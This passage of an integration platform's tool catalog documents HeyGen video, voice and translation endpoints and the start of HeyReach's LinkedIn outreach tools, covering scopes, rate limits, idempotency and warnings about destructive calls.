original spelling in captions and subtitles. `do_not_translate_terms` and `forced_translations` apply only when the glossary is used by a translation feature (video translation, Studio script translation, on-screen text translation), in every target language; they have no effect on video generation or text-to-speech requests. Tone settings are managed in the HeyGen web app and cannot be set here. via POST /v3/brand-glossaries POST /api/v1/heygen/v3/brand-glossaries. Scopes: api. heygen_post_v3_brand_kits (write) — Creates a brand kit by importing brand assets from a public website, including logos, colors and font files found on the site. By calling this endpoint you confirm you have the rights and licenses necessary to upload, store and use those assets in HeyGen. The kit is assembled in the background: the returned brand_kit_id is usable immediately, but poll GET /v3/brand-kits/{brand_kit_id} every 2 to 5 seconds until its status is 'completed' before relying on its colors, logos or fonts. A website import usually settles in under two minutes. Send an Idempotency-Key header to make retries safe: without one, a retried request starts a second import of the same site. via POST /v3/brand-kits POST /api/v1/heygen/v3/brand-kits. Scopes: api. heygen_post_v3_filler_word_removals (write) — Submit a video and return a job id immediately. The job runs asynchronously: it transcribes the audio, detects filler words ('um', 'uh', ...), removes them along with overlong silences, and renders one cleaned video — no review step. If the run changes nothing at all, the job completes with the original video as output and the charge is automatically refunded. Pricing: $0.30 per source minute, 1-minute minimum. Poll GET /v3/filler-word-removals/{id} or subscribe to filler_word_removal.success / filler_word_removal.fail webhooks. via POST /v3/filler-word-removals POST /api/v1/heygen/v3/filler-word-removals. Scopes: api. heygen_post_v3_hyperframes_renders (write) — Renders a HyperFrames composition (an HTML+JS+assets project bundled as a .zip) into a video. Submit the project via `url`, `asset_id` (pre-uploaded via POST /v3/assets), or inline `base64`. Returns a `render_id` to poll via GET /v3/hyperframes/renders/{render_id}. via POST /v3/hyperframes/renders POST /api/v1/heygen/v3/hyperframes/renders. Scopes: api. heygen_post_v3_lipsyncs (write) — Replaces the audio on an existing video and re-animates the speaker's lip movements to match the new audio. Use mode: 'speed' for fast output or 'precision' for high-quality lip-sync. via POST /v3/lipsyncs POST /api/v1/heygen/v3/lipsyncs. Scopes: api. heygen_post_v3_lipsyncs_batches (write) — Submit up to 100 lipsync payloads as a single batch. Each payload becomes one batch item, created and processed independently so one bad source does not fail the rest. Returns 202 with a batch_id; poll GET /v3/lipsyncs/batches/{batch_id} for progress. Pass an Idempotency-Key header to make retries safe — the same key returns the same batch. via POST /v3/lipsyncs/batches POST /api/v1/heygen/v3/lipsyncs/batches. Scopes: api. heygen_post_v3_models_audio_tts (write) — Generates speech using the voice identified by `voice_id` and returns a URL for one completed mono PCM16 WAV file at 44.1 kHz. The request remains open until synthesis and output assembly finish. The voice must be an ACTIVE professional voice. Rate limit: 30 requests per minute per workspace member. via POST /v3/models/audio/tts POST /api/v1/heygen/v3/models/audio/tts. Scopes: api. heygen_post_v3_models_audio_voices (write) — Creates a model-backed audio voice from one or more recordings, or retrains an existing professional voice when `voice_id` is supplied. Retraining requires only `voice_id` and source audio and retains the existing voice's ID, name, language, and mode. The voice is `PENDING` and unavailable for inference while either operation runs. Poll `GET /v3/models/audio/voices/{voice_id}` until its status becomes `ACTIVE` or `FAILED`. `Idempotency-Key` is optional; omitting it means repeated creation requests create separate voices. New voices require an unoccupied professional-voice slot. Each purchased slot provides five pooled trainings per monthly billing period, including initial training; failed trainings do not consume the allowance. via POST /v3/models/audio/voices POST /api/v1/heygen/v3/models/audio/voices. Scopes: api. heygen_post_v3_podcasts (write) — Generate a multi-avatar conversational podcast video from a topic and/or source files plus two avatars. Generation is asynchronous — use the returned podcast_id to poll status via GET /v3/podcasts/{podcast_id}. via POST /v3/podcasts POST /api/v1/heygen/v3/podcasts. Scopes: api. heygen_post_v3_templates_by_template_id (write) — Generates a video from the template by replacing its variables (text, image, video, audio, character, voice). Use scene_ids to select, reorder, or repeat scenes — scenes must already exist in the template; the API cannot create new ones. Returns the created video object; poll GET /v3/videos/{video_id} or use webhooks for completion. Idempotent replays return the original creation-time snapshot (status and URLs as of the first request), not the video's current state. via POST /v3/templates/{template_id} POST /api/v1/heygen/v3/templates/{template_id}. Scopes: api. heygen_post_v3_video_agents (write) — One-shot video generation from a prompt — agent handles scripting, avatar selection, scene composition, and rendering. Supports generate (fire-and-forget) and chat (multi-turn) modes. via POST /v3/video-agents POST /api/v1/heygen/v3/video-agents. Scopes: api. heygen_post_v3_video_agents_by_session_id (write) — Sends a follow-up message to an existing session. Use to answer agent questions, add context, or request edits to a generated video. Only valid for sessions created in chat mode. via POST /v3/video-agents/{session_id} POST /api/v1/heygen/v3/video-agents/{session_id}. Scopes: api. heygen_post_v3_video_agents_by_session_id_stop (write) — Halts an active agent run at its next checkpoint. Partial results are preserved. via POST /v3/video-agents/{session_id}/stop POST /api/v1/heygen/v3/video-agents/{session_id}/stop. Scopes: api. heygen_post_v3_video_quality_comparisons (write) — Submit one pairwise video comparison. The server waits for a bounded synchronous result: completed comparisons return 200, while comparisons that continue asynchronously return 202 and can be polled by comparison_id. via POST /v3/video-quality/comparisons POST /api/v1/heygen/v3/video-quality/comparisons. Scopes: api. heygen_post_v3_video_quality_comparisons_batches (write) — Submit up to 100 pairwise video comparisons for asynchronous processing. via POST /v3/video-quality/comparisons/batches POST /api/v1/heygen/v3/video-quality/comparisons/batches. Scopes: api. heygen_post_v3_video_translations (write) — Translates a video into one or more target languages with voice cloning and lip-sync. Returns one video_translation_id per language. Use mode: 'speed' (default) for fast turnaround or 'precision' for higher lip-sync quality. via POST /v3/video-translations POST /api/v1/heygen/v3/video-translations. Scopes: api. heygen_post_v3_video_translations_batches (write) — Submit up to 100 video-translation payloads (identical in shape to POST /v3/video-translations) as a single batch. A payload targeting multiple output_languages expands to one batch item per language, and each item is created and processed independently so one bad source does not fail the rest. Returns 202 with a batch_id; poll GET /v3/video-translations/batches/{batch_id} for progress. Pass an Idempotency-Key header to make retries safe — the same key returns the same batch. via POST /v3/video-translations/batches POST /api/v1/heygen/v3/video-translations/batches. Scopes: api. heygen_post_v3_video_translations_proofreads (write) — Creates a proofread session that extracts editable subtitles from a video before final rendering. via POST /v3/video-translations/proofreads POST /api/v1/heygen/v3/video-translations/proofreads. Scopes: api. heygen_post_v3_video_translations_proofreads_by_proofread_id_generate (write) — Starts final video generation using the approved subtitles from a proofread session. via POST /v3/video-translations/proofreads/{proofread_id}/generate POST /api/v1/heygen/v3/video-translations/proofreads/{proofread_id}/generate. Scopes: api. heygen_post_v3_videos (write) — Creates a video from a HeyGen avatar or an arbitrary image. Supports scripts or pre-recorded audio for lip-sync. Supports the Avatar III, Avatar IV, and Avatar V engines; set the 'engine' field to select. Avatar IV is used by default when 'engine' is omitted. via POST /v3/videos POST /api/v1/heygen/v3/videos. Scopes: api. heygen_post_v3_videos_batches (write) — Submit up to 100 video creation payloads in one request and return a batch id immediately. Videos are created asynchronously; poll GET /v3/videos/batches/{batch_id} for per-item video ids and statuses. via POST /v3/videos/batches POST /api/v1/heygen/v3/videos/batches. Scopes: api. heygen_post_v3_voices (write) — Returns up to 3 voices matching a natural language description (e.g. 'warm, confident female narrator'). Use the seed parameter to get different batches of results. via POST /v3/voices POST /api/v1/heygen/v3/voices. Scopes: api. heygen_post_v3_voices_clone (write) — Creates a voice clone from an audio file. Returns a voice_clone_id that can be polled via GET /v3/voices/{voice_clone_id} until the status is 'complete'. The resulting voice can be used with POST /v3/voices/speech and POST /v3/videos. via POST /v3/voices/clone POST /api/v1/heygen/v3/voices/clone. Scopes: api. heygen_post_v3_voices_speech (write) — Synthesize speech audio from text using a specified voice. The voice must support the starfish engine — use GET /v3/voices?engine=starfish to find compatible voices. Supports plain text and SSML. Speed range: 0.5–2.0x. Returns a URL to the generated audio file along with duration and optional word-level timestamps. via POST /v3/voices/speech POST /api/v1/heygen/v3/voices/speech. Scopes: api. heygen_post_v3_webhooks_endpoints (write) — Registers an HTTPS URL to receive webhook event notifications. Returns the endpoint details and a signing secret. The signing secret is only shown at creation and rotation — store it securely. via POST /v3/webhooks/endpoints POST /api/v1/heygen/v3/webhooks/endpoints. Scopes: api. heygen_post_v3_webhooks_endpoints_by_endpoint_id_rotate_secret (write) — Generates a new signing secret for a webhook endpoint and immediately invalidates the old one. Store the new secret securely — it will not be shown again. via POST /v3/webhooks/endpoints/{endpoint_id}/rotate-secret POST /api/v1/heygen/v3/webhooks/endpoints/{endpoint_id}/rotate-secret. Scopes: api. heygen_post_v3_workflow_runs (write) — Starts a run of the workflow named in the request body. Omit `version_number` to run the latest published version: it is resolved exactly once, when the request's `Idempotency-Key` is first accepted, and the response reports the exact `version_number` (and `version_id`) the run is pinned to. Repeating the request with the same key always returns that original run — including after a newer version is published — while reusing the key with a different workflow, version, or inputs is rejected with a 409 `conflict` and starts nothing. Validates inputs against the resolved version's frozen plan, creates the run and its pending node runs in a single transaction, and then submits the run for execution. A 201 or 200 means the run has been accepted for execution; if the submission cannot be confirmed the response is a retryable 503 (see below) and the run is left pending. `Idempotency-Key` is REQUIRED on this endpoint, because repeating the request with the same key is how a 503 is recovered. No video is created and nothing is charged by this call. Media inputs accept an asset id (as a bare string or `{"type": "asset_id"}` object), a publicly accessible HTTPS source URL (`{"type": "url"}`), or inline base64 content (`{"type": "base64"}`). URL and inline sources are imported into your asset library before the run executes, so the run is immune to the source changing or expiring afterwards; retries with the same `Idempotency-Key` reuse the already-imported asset. URL sources are fetched with a 16 MB limit for images and 32 MB for audio; inline content is limited to 5 MB for images and 16 MB for audio and must also fit this endpoint's 1 MiB request-body limit — for anything larger, upload via POST /v3/assets/direct-uploads and pass the asset_id. via POST /v3/workflow-runs POST /api/v1/heygen/v3/workflow-runs. Scopes: api. heygen_post_v3_workflow_runs_by_run_id_cancel (write) — Requests cancellation of a run. Idempotent and defined for every run state: a 200 reflects a settled outcome (the run is terminal now — canceled by this request, or already finished, in which case its terminal status is unchanged and reported as-is). When cancellation cannot be confirmed the response is a retryable 503 and the run is unchanged. A terminal run can never move backward. via POST /v3/workflow-runs/{run_id}/cancel POST /api/v1/heygen/v3/workflow-runs/{run_id}/cancel. Scopes: api. heygen_post_v3_workflows (write) — Atomically creates a workflow and publishes its required product graph as immutable version 1: the graph is validated and compiled first, then the workflow, its published version 1, and its `active` status commit together. The response's `latest_version` names the exact version this request published, ready to run. A graph that fails validation (including node types not available for authoring — see the node-types catalog) returns 422 `graph_invalid` and creates nothing; a name already used in the space returns 409 `conflict` with no partial writes. Idempotency (authoring contract): send an `Idempotency-Key` and a retry of the SAME request replays the original response body with **HTTP 200** (only the body is cached, not the original 201; the workflow already exists on a replay). Reusing a key with a different name, graph, or metadata returns 409 `conflict` instead of replaying. Keys are held in Redis for 24 hours; if the cache is unavailable the request executes and a duplicate retry converges on the duplicate-name 409. This differs from run creation's idempotency, which is durable (DB-backed, no expiry). A replay is a snapshot of the original response — later changes (e.g. archival) do not appear in it. via POST /v3/workflows POST /api/v1/heygen/v3/workflows. Scopes: api. heygen_post_v3_workflows_by_workflow_id_versions (write) — Compile the complete product graph in the request body and persist it as the next immutable version. The workflow's internal draft is neither read nor modified. Returns 201 when a new version is created and 200 when the latest version is already identical (republishing the same graph is a no-op that returns it). Republishing an older graph after a newer one creates a NEW version — version history is append-only, so rollback means republishing the prior graph. Idempotency (authoring contract): send an `Idempotency-Key` and a retry of the SAME request replays the original response body with **HTTP 200 even if the original call returned 201** — only the body is cached, not its status. Do not key 'just created' behaviour off the status code alone on a replay; compare `version_number` against what you already hold. Reusing a key with a different graph — or against a different `workflow_id` — returns 409 `conflict` instead of replaying. Keys are held in Redis for 24 hours; if the cache is unavailable the request executes and an identical retry converges on the 200-existing-version answer — provided no different publish landed in between; otherwise the retry creates a new version, since history is append-only. This differs from run creation's idempotency, which is durable (DB-backed, no expiry). A replay is a snapshot of the original response. A graph that fails validation returns 422 `graph_invalid` with every issue listed in `error.errors[]`, and nothing is published — the latest version is unchanged. via POST /v3/workflows/{workflow_id}/versions POST /api/v1/heygen/v3/workflows/{workflow_id}/versions. Scopes: api. heygen_put_v3_video_translations_proofreads_by_proofread_id_srt (write) — Replaces the proofread subtitles with an edited SRT file. via PUT /v3/video-translations/proofreads/{proofread_id}/srt PUT /api/v1/heygen/v3/video-translations/proofreads/{proofread_id}/srt. Scopes: api. ================================================================================ ## HeyReach URL: https://www.agenticfabriq.com/integrations/heyreach Section: Integrated Tools HeyReach — 86 MCP tools Provider key: heyreach. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. heyreach_delete_api_public_li_account_removeaccount_by_accountid (write, destructive) — Disconnect a LinkedIn account from this workspace. With force=true the account is first removed from every active campaign; with force=false (the default) HeyReach refuses while the account is in one. DELETE /api/public/li_account/RemoveAccount/{accountId}. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DESTRUCTIVE and not reversible through this API. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. DELETE /api/v1/heyreach/api/public/li_account/RemoveAccount/{accountId}. Scopes: api. heyreach_delete_api_public_list_deleteleadsfromlist (write, destructive) — Remove named leads from a lead list, addressed by their LinkedIn member ids (the `linkedin_id` a list read returns). DELETE /api/public/list/DeleteLeadsFromList. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DESTRUCTIVE and not reversible through this API. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. DELETE /api/v1/heyreach/api/public/list/DeleteLeadsFromList. Scopes: api. heyreach_delete_api_public_list_deleteleadsfromlistbyprofileurl (write, destructive) — Remove named leads from a lead list, addressed by their LinkedIn profile urls. Answers with `notFoundInList` naming the urls it could not match, so a 200 is not by itself proof that anything was removed. DELETE /api/public/list/DeleteLeadsFromListByProfileUrl. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DESTRUCTIVE and not reversible through this API. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. DELETE /api/v1/heyreach/api/public/list/DeleteLeadsFromListByProfileUrl. Scopes: api. heyreach_delete_api_public_management_organizations_linkedin_accounts_by_linkedinaccountid (write, destructive) — Soft-delete a LinkedIn account anywhere in the organization. forceDelete=false (the default) is refused with 400 while the account is in an active campaign; forceDelete=true removes it from those campaigns first. DELETE /api/public/management/organizations/linkedin-accounts/{linkedInAccountId}. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. DESTRUCTIVE and not reversible through this API. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. DELETE /api/v1/heyreach/api/public/management/organizations/linkedin-accounts/{linkedInAccountId}. Scopes: api. heyreach_delete_api_public_webhooks_deletewebhook (write, destructive) — Delete a webhook by id. HeyReach REFUSES while the webhook is active -- 400 'The Webhook must be deactivated before deleting' (measured 2026-09-23; the documentation does not mention it) -- so set isActive false with 'Update a webhook' first. DELETE /api/public/webhooks/DeleteWebhook. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DESTRUCTIVE and not reversible through this API. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. DELETE /api/v1/heyreach/api/public/webhooks/DeleteWebhook. Scopes: api. heyreach_get_api_public_auth_checkapikey (read) — Answer 200 if the connection's WORKSPACE key is valid. HeyReach's own documented health check, and the probe this integration runs at the paste box. It is workspace-only: a perfectly valid ORGANIZATION key is answered 401 'The provided API key is not a workspace-level key.', so a 401 here means the key is bad OR is an organization key, never that HeyReach is down. GET /api/public/auth/CheckApiKey. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/auth/CheckApiKey. Scopes: api. heyreach_get_api_public_campaign_getbyid (read) — One campaign by id, with its status, list, senders and settings. GET /api/public/campaign/GetById. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/campaign/GetById. Scopes: api. heyreach_get_api_public_campaign_getcampaignsequence (read) — The campaign's current workflow tree, in exactly the shape 'Replace a campaign sequence' and 'Create a campaign' accept -- so it can be read from one campaign and written to another unmodified. GET /api/public/campaign/GetCampaignSequence. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/campaign/GetCampaignSequence. Scopes: api. heyreach_get_api_public_enrichment_enrich_email_check_job_by_jobid (read) — Poll an email-enrichment job by the jobId its creation returned, until it reaches a terminal status. GET /api/public/enrichment/enrich-email/check-job/{jobId}. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/enrichment/enrich-email/check-job/{jobId}. Scopes: api. heyreach_get_api_public_inbox_getchatroom_by_accountid_by_conversationid (read) — One LinkedIn conversation and its messages, addressed by the sender account id and the conversation id. GET /api/public/inbox/GetChatroom/{accountId}/{conversationId}. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/inbox/GetChatroom/{accountId}/{conversationId}. Scopes: api. heyreach_get_api_public_li_account_getaccountproxy_by_accountid (read) — The proxy assigned to one LinkedIn account: a country code for a HeyReach-managed proxy, or the full connection details for a custom one. GET /api/public/li_account/GetAccountProxy/{accountId}. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/li_account/GetAccountProxy/{accountId}. Scopes: api. heyreach_get_api_public_li_account_getaccountstatus_by_accountid (read) — The current connection status of one LinkedIn account, cached by HeyReach for 10 seconds. This is the poll target after a reconnect, a PIN submission or a resync, all of which return immediately. GET /api/public/li_account/GetAccountStatus/{accountId}. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/li_account/GetAccountStatus/{accountId}. Scopes: api. heyreach_get_api_public_li_account_getbyid (read) — One connected LinkedIn account by id. Answers 404 'There is no LinkedIn Sender with provided id.' for an id this workspace does not hold. GET /api/public/li_account/GetById. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/li_account/GetById. Scopes: api. heyreach_get_api_public_li_account_getproxycountries (read) — The country codes HeyReach's managed proxies can be placed in, for the proxy tools and for connecting an account. A static reference list; the only tool on this provider that needs no workspace data to answer. GET /api/public/li_account/GetProxyCountries. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/li_account/GetProxyCountries. Scopes: api. heyreach_get_api_public_list_getbyid (read) — One lead or company list by id, with its item count, type and the campaigns using it. GET /api/public/list/GetById. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/list/GetById. Scopes: api. heyreach_get_api_public_management_organizations_api_keys_workspaces_by_workspaceid (read) — WHICH integration keys a workspace has minted -- the Public API key and the n8n, Make, Zapier and MCP keys -- with null for each type that has none. HeyReach returns the LIVE key VALUES here, for any workspace in the organization; Agentic Fabriq replaces each one with a marker before the result leaves the connector and keeps the field names, so this answers 'which key types exist' without handing over the keys. That is not squeamishness: an organization key cannot call the workspace surface at all, so reading these out is how it would reach every workspace indirectly. Read the real values in the HeyReach dashboard. GET /api/public/management/organizations/api-keys/workspaces/{workspaceId}. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. Agentic Fabriq replaces `publicApi`, `n8N`, `make`, `zapier`, `mcp` in the response with a marker, and the field name is kept so you can still see WHICH of them exist. HeyReach returns live credentials in those fields -- keys and invitation links this caller did not create, including other workspaces' -- and a tool result is not redacted anywhere downstream. Read the real values in the HeyReach dashboard. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/management/organizations/api-keys/workspaces/{workspaceId}. Scopes: api. heyreach_get_api_public_management_organizations_users_by_userid (read) — One organization user with their roles, organization permissions and per-workspace permissions. GET /api/public/management/organizations/users/{userId}. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. Agentic Fabriq replaces `invitationUrl` in the response with a marker, and the field name is kept so you can still see WHICH of them exist. HeyReach returns live credentials in those fields -- keys and invitation links this caller did not create, including other workspaces' -- and a tool result is not redacted anywhere downstream. Read the real values in the HeyReach dashboard. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/management/organizations/users/{userId}. Scopes: api. heyreach_get_api_public_management_organizations_workspaces (read) — Every workspace in the organization with its seat limit and seats used. This is the probe for an ORGANIZATION key, and the only read that tells you which workspace ids the other organization tools may name. GET /api/public/management/organizations/workspaces. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/management/organizations/workspaces. Scopes: api. heyreach_get_api_public_webhooks_getwebhookbyid (read) — One webhook by id. includeCustomHeaders=true also returns the custom request headers configured on it, which are whatever the customer put there -- often an authorization header for their own receiver. GET /api/public/webhooks/GetWebhookById. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. GET /api/v1/heyreach/api/public/webhooks/GetWebhookById. Scopes: api. heyreach_patch_api_public_campaign_updateleadcustomfields_campaigns_by_campaignid_leads_custom_fields (write) — Upsert custom fields on one lead inside a campaign: an existing field is updated, a missing one created, a null or empty value clears it. The lead is named by member id or profile url. PATCH /api/public/campaign/UpdateLeadCustomFields/campaigns/{campaignId}/leads/custom-fields. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. PATCH /api/v1/heyreach/api/public/campaign/UpdateLeadCustomFields/campaigns/{campaignId}/leads/custom-fields. Scopes: api. heyreach_patch_api_public_list_updateleadcustomfields_lists_by_listid_leads_custom_fields (write) — Upsert custom fields on one lead inside a list: an existing field is updated, a missing one is created, and a null or empty value clears it. The lead is named by member id or profile url. PATCH /api/public/list/UpdateLeadCustomFields/lists/{listId}/leads/custom-fields. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. PATCH /api/v1/heyreach/api/public/list/UpdateLeadCustomFields/lists/{listId}/leads/custom-fields. Scopes: api. heyreach_patch_api_public_management_organizations_workspaces_by_workspaceid (write) — Rename a workspace or change its seat limit. PATCH /api/public/management/organizations/workspaces/{workspaceId}. NEEDS THE ORGANIZATION (MASTER) API KEY, not the workspace key: HeyReach answers a workspace key 401 'The provided API key does not have master-level access.' here. If this connection does not hold an organization key, Agentic Fabriq refuses the call before sending it and says so. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. PATCH /api/v1/heyreach/api/public/management/organizations/workspaces/{workspaceId}. Scopes: api. heyreach_patch_api_public_webhooks_updatewebhook (write) — Change a webhook. Body: webhookName (25 characters maximum), webhookUrl, eventType, campaignIds and isActive; an omitted or null field keeps its current value, and an empty campaignIds means every campaign. This is also the tool that DEACTIVATES a webhook by setting isActive false, which HeyReach requires before it can be deleted. PATCH /api/public/webhooks/UpdateWebhook. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. PATCH /api/v1/heyreach/api/public/webhooks/UpdateWebhook. Scopes: api. heyreach_post_api_public_blacklist_addcompanies (write) — Add up to 100 companies to this workspace's blacklist, each named by a LinkedIn company url and/or a name. Leads working at a blacklisted company are excluded from every campaign in the workspace. POST /api/public/blacklist/AddCompanies. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/blacklist/AddCompanies. Scopes: api. heyreach_post_api_public_blacklist_addleads (write) — Add up to 100 leads to this workspace's blacklist, each named by at least one of linkedInProfileId, profileUrl or email. A blacklisted lead is excluded from every campaign in the workspace. The response reports added, duplicates and validationErrors separately, so a 200 does not mean all of them landed. POST /api/public/blacklist/AddLeads. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/blacklist/AddLeads. Scopes: api. heyreach_post_api_public_blacklist_getcompanies (read) — A paginated page of this workspace's blacklisted companies, newest first. POST /api/public/blacklist/GetCompanies. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/blacklist/GetCompanies. Scopes: api. heyreach_post_api_public_blacklist_getleads (read) — A paginated page of this workspace's blacklisted leads, newest first. The blacklist is per workspace: a key only ever sees its own workspace's entries. POST /api/public/blacklist/GetLeads. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/blacklist/GetLeads. Scopes: api. heyreach_post_api_public_blacklist_removecompanies (write) — Remove up to 100 company blacklist entries by the entry ids a blacklist read or add returned. POST /api/public/blacklist/RemoveCompanies. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/blacklist/RemoveCompanies. Scopes: api. heyreach_post_api_public_blacklist_removeleads (write) — Remove up to 100 blacklist entries by the entry ids a blacklist read or add returned. Campaigns can contact those leads again afterwards. POST /api/public/blacklist/RemoveLeads. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/blacklist/RemoveLeads. Scopes: api. heyreach_post_api_public_campaign_addleadstocampaign (write) — Queue up to 100 leads into a campaign, optionally pinning each to a specific sender. With resumeFinishedCampaign or resumePausedCampaign the campaign is STARTED as a side effect. Returns no per-lead outcome -- prefer the V2 tool. POST /api/public/campaign/AddLeadsToCampaign. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DRIVES A REAL LINKEDIN ACCOUNT: calling it makes the connected sender act on LinkedIn, where the action is visible to its recipients and counts against LinkedIn's own daily limits. It cannot be undone from here. HeyReach allows 300 API requests per minute across all endpoints and answers 429 above that; a 429 is the budget, never the key. POST /api/v1/heyreach/api/public/campaign/AddLeadsToCampaign. Scopes: api. heyreach_post_api_public_campaign_addleadstocampaignv2 (write) — The same queueing as 'Add leads to a campaign', up to 100 per call, with a per-lead outcome in the response. With resumeFinishedCampaign or resumePausedCampaign the campaign is STARTED as a side effect. POST /api/public/campaign/AddLeadsToCampaignV2. Needs the WORKSPACE API key. An organization (master) key is answered 401 'The provided API key is not a workspace-level key.' by HeyReach on every workspace operation. DRIVES A 